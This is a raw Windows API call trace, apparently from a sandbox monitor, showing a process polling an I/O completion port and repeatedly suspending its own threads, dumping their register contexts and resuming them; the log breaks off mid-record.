	[0253.494] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0253.494] SetEvent (hEvent=0xfc) returned 1
	[0253.495] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0253.639] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0253.639] SetEvent (hEvent=0xfc) returned 1
	[0253.639] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0254.155] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0254.155] SetEvent (hEvent=0xfc) returned 1
	[0254.155] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0254.296] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0254.296] SetEvent (hEvent=0xfc) returned 1
	[0254.296] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0254.483] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0254.483] SetEvent (hEvent=0xfc) returned 1
	[0254.483] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0254.620] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0254.620] SetEvent (hEvent=0xfc) returned 1
	[0254.620] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0254.761] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0254.761] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0254.890] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0254.890] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0254.891] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0254.891] SuspendThread (hThread=0x19c) returned 0x0
	[0254.891] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff898, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.039] SetEvent (hEvent=0x190) returned 1
	[0255.039] ResumeThread (hThread=0x19c) returned 0x1
	[0255.039] CloseHandle (hObject=0x19c) returned 1
	[0255.039] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.046] SwitchToThread () returned 1
	[0255.047] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0255.052] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0255.052] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0255.070] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0255.070] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0255.070] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.105] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0255.105] SwitchToThread () returned 1
	[0255.106] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0255.155] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0255.155] SuspendThread (hThread=0x120) returned 0x0
	[0255.155] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff778, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.197] ResumeThread (hThread=0x120) returned 0x1
	[0255.197] CloseHandle (hObject=0x120) returned 1
	[0255.197] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.236] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0255.236] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0255.237] SwitchToThread () returned 1
	[0255.238] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0255.240] SuspendThread (hThread=0x19c) returned 0x0
	[0255.240] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff778, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.317] ResumeThread (hThread=0x19c) returned 0x1
	[0255.318] CloseHandle (hObject=0x19c) returned 1
	[0255.318] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0255.347] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0255.347] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x174, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0255.347] SuspendThread (hThread=0x19c) returned 0x0
	[0255.347] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070fff788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, 